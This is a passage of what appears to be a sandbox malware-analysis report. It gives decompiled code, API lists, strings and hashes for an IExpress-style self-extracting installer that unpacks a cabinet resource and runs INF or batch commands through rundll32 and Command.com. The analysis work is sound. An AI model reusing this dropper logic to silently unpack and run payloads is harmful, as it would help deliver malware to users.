								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E00A344B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0xa39120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0xa31140, _t156, 8,  &_v268) == 0) {
										 *0xa39a34 =  *0xa39a34 & 0xfffffffb;
										if( *0xa39a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E00A3171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0xa39a34 =  *0xa39a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00A31680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00A31680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00A36CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00a31af3
0x00a31afa
0x00a31b07
0x00a31b09
0x00a31b1a
0x00a31b20
0x00a31b2c
0x00a31b3b
0x00a31b40
0x00a31b2e
0x00a31b2e
0x00a31b33
0x00a31b33
0x00a31b46
0x00a31b4c
0x00a31b52
0x00a31b57
0x00a31b5d
0x00a31b61
0x00a31b9f
0x00a31b9f
0x00a31bb1
0x00a31bc2
0x00000000
0x00a31b63
0x00a31b63
0x00a31b65
0x00a31b68
0x00a31b68
0x00a31b6a
0x00a31b6b
0x00a31b6f
0x00a31b74
0x00000000
0x00000000
0x00a31b76
0x00a31b7b
0x00a31b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00a31b8c
0x00a31b8c
0x00a31b98
0x00a31bc7
0x00a31bc9
0x00a31bcc
0x00a31bd3
0x00a31d75
0x00a31d76
0x00a31d78
0x00a31d7f
0x00a31e05
0x00a31e09
0x00000000
0x00000000
0x00a31e12
0x00a31e1b
0x00a31e73
0x00a31e21
0x00a31e21
0x00a31e28
0x00a31e37
0x00a31e3e
0x00a31e52
0x00a31e60
0x00a31e60
0x00a31e3e
0x00a31e79
0x00a31e7b
0x00a31e84
0x00000000
0x00a31d9b
0x00a31d9b
0x00a31da0
0x00a31da2
0x00a31da5
0x00a31da5
0x00a31da7
0x00a31da8
0x00a31dac
0x00a31dae
0x00a31db4
0x00a31db7
0x00a31db7
0x00a31db9
0x00a31dba
0x00a31dbe
0x00a31dc3
0x00a31dce
0x00a31dd2
0x00a31deb
0x00000000
0x00a31df0
0x00000000
0x00a31dd2
0x00a31bf7
0x00a31bfe
0x00a31c07
0x00a31d55
0x00a31d5a
0x00a31d5b
0x00a31d5d
0x00a31d5e
0x00000000
0x00a31c1b
0x00a31c1b
0x00a31c20
0x00a31c2c
0x00a31c33
0x00a31c38
0x00a31c3a
0x00a31c3a
0x00a31c40
0x00a31c4b
0x00a31c4b
0x00a31c5d
0x00a31c61
0x00a31dd4
0x00a31dd4
0x00a31dd6
0x00a31ddb
0x00a31ddc
0x00a31dde
0x00a31d64
0x00a31d64
0x00a31d67
0x00a31d6c
0x00000000
0x00a31c67
0x00a31c67
0x00a31c6d
0x00a31c72
0x00a31c74
0x00a31c74
0x00a31c8e
0x00a31c99
0x00a31cc0
0x00a31cf8
0x00a31d07
0x00a31d23
0x00a31d09
0x00a31d14
0x00a31d1b
0x00a31d1b
0x00a31d2b
0x00a31d2d
0x00a31d2d
0x00a31d38
0x00a31d39
0x00a31d46
0x00a31cc2
0x00a31cc2
0x00a31ccc
0x00a31cce
0x00a31cce
0x00a31cdb
0x00a31ce6
0x00a31cee
0x00a31cee
0x00a31e89
0x00a31e91
0x00a31e92
0x00a31e94
0x00a31e97
0x00a31ea4
0x00a31ea4
0x00a31c61
0x00a31c07
0x00a31bd3
0x00a31b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A31BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A31BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A31C57
GetPrivateProfileIntA.KERNEL32 ref: 00A31C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00A31140,00000000,00000008,?), ref: 00A31CB8
GetShortPathNameA.KERNEL32 ref: 00A31D1B

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Strings

AdvancedINF, xrefs: 00A31CAE
setupx.dll, xrefs: 00A31D14
Version, xrefs: 00A31CB3
setupapi.dll, xrefs: 00A31D23, 00A31D3A
.BAT, xrefs: 00A31D83
Command.com /c %s, xrefs: 00A31D9B, 00A31DE8
.INF, xrefs: 00A31BDB
Reboot, xrefs: 00A31C82
", xrefs: 00A31B25
DefaultInstall, xrefs: 00A31C74, 00A31C87, 00A31CCE, 00A31CD3, 00A31D2D, 00A31D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00A31D3B
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A31BA0

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-1533028066
Opcode ID: 74b123c53d7a68f3ea2ea1d8c4d01c2e1f5bee783d4d0db6057b9c51816e52c9
Instruction ID: 4adf835f85f721e7c3c08a9aa6fc85c30c60ad213ded753e0ea0836d42b2daf4
Opcode Fuzzy Hash: 74b123c53d7a68f3ea2ea1d8c4d01c2e1f5bee783d4d0db6057b9c51816e52c9
Instruction Fuzzy Hash: B5A149B0A003186BEB20DF24CC45FFA77A9EB56350F1447A9F595A32D1DBB09E86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A3597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00A3597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0xa38004; // 0xb6b6972c
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0xa39124 = E00A36285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E00A344B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0xa39a34 & 0x00000008;
							if(( *0xa39a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0xa39a38; // 0x0
								_t110 =  *((intOrPtr*)(0xa389e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0xa39124 = 0;
									_t66 = 1;
								} else {
									_t66 = E00A3268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0xa39a38; // 0x0
							_t110 =  *((intOrPtr*)(0xa389e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0xa389e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0xa39a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E00A344B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0xa39124 = E00A36285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E00A344B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0xa39124 = E00A36285();
					_t66 = 0;
					L33:
					return E00A36CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x00a3597d
0x00a35988
0x00a3598f
0x00a3599a
0x00a359a6
0x00a359a8
0x00a359af
0x00a359b9
0x00a359dd
0x00a359e4
0x00a359f1
0x00a359fe
0x00a35a0b
0x00a35a13
0x00a35a19
0x00a35a1b
0x00a35ba1
0x00a35baf
0x00a35bbd
0x00a35bd8
0x00a35bde
0x00a35be3
0x00a35bec
0x00a35bf0
0x00a35bfc
0x00a35c02
0x00a35c02
0x00a35c02
0x00a35c04
0x00a35c04
0x00000000
0x00a35c04
0x00a35a27
0x00a35a3a
0x00a35a46
0x00a35a48
0x00a35a4a
0x00000000
0x00000000
0x00a35a64
0x00a35a6a
0x00a35a6c
0x00a35abc
0x00a35ac2
0x00a35ac9
0x00a35aca
0x00a35aca
0x00a35acc
0x00a35acc
0x00a35acf
0x00a35ad1
0x00000000
0x00000000
0x00a35ad3
0x00a35ad6
0x00a35ad8
0x00000000
0x00000000
0x00a35ada
0x00a35adc
0x00a35add
0x00a35add
0x00a35ae0
0x00000000
0x00000000
0x00000000
0x00a35ae0
0x00a35ae2
0x00a35ae4
0x00a35ae6
0x00a35ae6
0x00a35ae6
0x00a35ae9
0x00a35aeb
0x00a35af0
0x00a35af6
0x00a35af8
0x00a35af9
0x00a35af9
0x00a35afb
0x00000000
0x00000000
0x00a35afd
0x00a35aff
0x00a35b00
0x00a35b03
0x00000000
0x00000000
0x00000000
0x00a35b03
0x00a35b05
0x00a35b08
0x00a35b20
0x00a35b27
0x00a35b52
0x00a35b52
0x00a35b5b
0x00a35b62
0x00a35b6b
0x00a35b6d
0x00a35b76
0x00a35b7d
0x00a35b83
0x00a35b7f
0x00a35b7f
0x00a35b7f
0x00a35b6f
0x00a35b72
0x00a35b72
0x00a35b85
0x00a35b98
0x00a35b9e
0x00a35b87
0x00a35b8f
0x00a35b8f
0x00000000
0x00a35b85
0x00a35b29
0x00a35b33
0x00000000
0x00000000
0x00a35b35
0x00a35b48
0x00a35b4a
0x00000000
0x00a35b4a
0x00a35b0f
0x00a35b16
0x00000000
0x00a35b16
0x00a35a7c
0x00a35a8a
0x00a35aa5
0x00a35aab
0x00000000
0x00a359bb
0x00a359c0
0x00a359c7
0x00a359d1
0x00a359d6
0x00a35c05
0x00a35c14
0x00a35c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00A359A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00A359AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00A35A13
MulDiv.KERNEL32(?,?,00000400), ref: 00A35A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00A35A64
memset.MSVCRT ref: 00A35A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00A35A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00A35AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00A35BFC

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Part of subcall function 00A36285: GetLastError.KERNEL32(00A35BBC), ref: 00A36285

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: e51c6d28d362630edb857e69cf0314ec365d0e55d00a69e379cba9e7eeb2eb9c
Instruction ID: fd2ef43df36dcd6febbcaac6fb2f0313d03c451086ffa1108aff35e978cb0695
Opcode Fuzzy Hash: e51c6d28d362630edb857e69cf0314ec365d0e55d00a69e379cba9e7eeb2eb9c
Instruction Fuzzy Hash: A17192B1D0061CAFEB25DFA4DD89BFBB7BCEB48344F0441AAF44596140EA749E858B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A34FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00A34FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0xa39144 = E00A3468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0xa39140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0xa38584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0xa38584, 0x841), 5);
				}
				_t10 = E00A34EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E00A34CA0, E00A34CC0, E00A34980, E00A34A50, E00A34AD0, E00A34B60, E00A34BC0, 1, 0xa39148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0xa39148; // 0x0
						_t24 =  *0xa38584; // 0x0
						E00A344B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0xa31140, 0, E00A34CD0, 0, 0xa39140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0xa38584; // 0x0
					E00A344B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0xa39140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0xa39140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0xa391d8; // 0x0
						if(_t47 == 0) {
							E00A344B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0xa38a38 & 0x00000001) == 0 && ( *0xa39a34 & 0x00000001) == 0) {
						SendMessageA( *0xa38584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00a34fe0
0x00a34fe6
0x00a34ff9
0x00a3500d
0x00a35013
0x00a3501a
0x00a35163
0x00a35163
0x00a35020
0x00a35027
0x00a35037
0x00a35051
0x00a35051
0x00a35057
0x00a3505e
0x00a350a7
0x00a350ad
0x00a350b4
0x00a350e8
0x00a350e8
0x00a350ee
0x00a350ff
0x00a35104
0x00a35106
0x00000000
0x00a35106
0x00a350cd
0x00a350d3
0x00a350da
0x00000000
0x00000000
0x00a350dd
0x00a350e6
0x00000000
0x00000000
0x00000000
0x00a35060
0x00a35060
0x00a35070
0x00a35075
0x00a35107
0x00a35107
0x00a3510e
0x00a35111
0x00a35117
0x00a35117
0x00a3511f
0x00a35121
0x00a35127
0x00a35135
0x00a35135
0x00a35127
0x00a35141
0x00a35159
0x00a35159
0x00000000
0x00a3515f

APIs

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00A34FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00A35006
LockResource.KERNEL32(00000000), ref: 00A3500D
GetDlgItem.USER32(00000000,00000842), ref: 00A35030
ShowWindow.USER32(00000000), ref: 00A35037
GetDlgItem.USER32(00000841,00000005), ref: 00A3504A
ShowWindow.USER32(00000000), ref: 00A35051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00A35111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00A35159

Strings

CABINET, xrefs: 00A34FE6, 00A34FF7
*MEMCAB, xrefs: 00A350C7

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: e097d049c77e900a6f3c8cb46cd38767c6e4d76d51adf2db474b99df262d3ce1
Instruction ID: d56ad97fbea3f7a8bd163ed55706193ac0452353ac7f5ce463004c3965bf3c97
Opcode Fuzzy Hash: e097d049c77e900a6f3c8cb46cd38767c6e4d76d51adf2db474b99df262d3ce1
Instruction Fuzzy Hash: A1313AB0B407117FE720EBF5AD8AF6776ACB718785F040624F941A21A1DBF9DC028A60

Uniqueness

Uniqueness Score: -1.00%

Function 00A32F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A32F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0xa38004; // 0xb6b6972c
				_v8 = _t9 ^ _t46;
				if( *0xa38a38 != 0) {
					L5:
					_t11 = E00A35164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00A36CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E00A355A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E00A3658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0xa3a288("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0xa38a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0xa38a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0xa38d48 & 0x000000c0;
									if(( *0xa38d48 & 0x000000c0) == 0) {
										_t41 =  *0xa39a40; // 0x3, executed
										_t26 = E00A3256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0xa38a24; // 0x0
									 *0xa39a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0xa38a38;
										if( *0xa38a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00A34169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0xa39a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00A33BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0xa38a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00A33B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E00A344B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0xa39124 = E00A36285();
							goto L16;
						}
						_t59 =  *0xa39a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E00A3621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0xa38a24;
				if( *0xa38a24 != 0) {
					L4:
					_t34 = E00A33A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E00A351E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0xa38a38;
				if( *0xa38a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00a32f1d
0x00a32f28
0x00a32f2f
0x00a32f3d
0x00a32f6c
0x00a32f6c
0x00a32f71
0x00a32f73
0x00a33041
0x00a33041
0x00a33043
0x00a33053
0x00a33053
0x00a32f79
0x00a32f80
0x00000000
0x00a32f86
0x00a32f86
0x00a32f93
0x00a32f9e
0x00a32fa0
0x00a32fa6
0x00a32fb8
0x00a32fba
0x00a32fbe
0x00a32fc6
0x00a32fcc
0x00a32fd4
0x00a32fd6
0x00a32fd8
0x00a32fe0
0x00a32fe6
0x00a32fee
0x00a32ff0
0x00a32ff5
0x00a32ff5
0x00a32fee
0x00a32fd4
0x00a32ff8
0x00a32ffe
0x00a33004
0x00a33017
0x00a3301c
0x00a33024
0x00a33054
0x00a3305a
0x00a33065
0x00a33065
0x00a3306c
0x00a3306e
0x00a33075
0x00a3307a
0x00a3307a
0x00a3307c
0x00a33081
0x00a33087
0x00a33089
0x00a330a1
0x00a330a1
0x00a330a9
0x00a330ab
0x00a330ad
0x00a330af
0x00a330af
0x00a330ad
0x00a330b6
0x00000000
0x00a3308b
0x00a3308b
0x00a33091
0x00000000
0x00000000
0x00a33093
0x00a33098
0x00a3309a
0x00000000
0x00000000
0x00a3309c
0x00000000
0x00a3309c
0x00a33089
0x00a3305c
0x00a33061
0x00a33063
0x00000000
0x00000000
0x00000000
0x00a33063
0x00a3302b
0x00a33032
0x00a3303c
0x00000000
0x00a3303c
0x00a33006
0x00a3300c
0x00000000
0x00000000
0x00a3300e
0x00a33015
0x00000000
0x00000000
0x00000000
0x00a33015
0x00a32f80
0x00a32f3f
0x00a32f46
0x00a32f5f
0x00a32f5f
0x00a32f64
0x00a32f66
0x00000000
0x00000000
0x00000000
0x00a32f66
0x00a32f4f
0x00000000
0x00000000
0x00a32f55
0x00a32f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00A32F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00A32FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00A32FC6
DecryptFileA.ADVAPI32 ref: 00A32FE6
FreeLibrary.KERNEL32(00000000), ref: 00A32FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A3301C

Part of subcall function 00A351E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A32F4D,?,00000002,00000000), ref: 00A35201

Strings

advapi32.dll, xrefs: 00A32F99
DecryptFileA, xrefs: 00A32FC0
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A32FDB, 00A33017

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

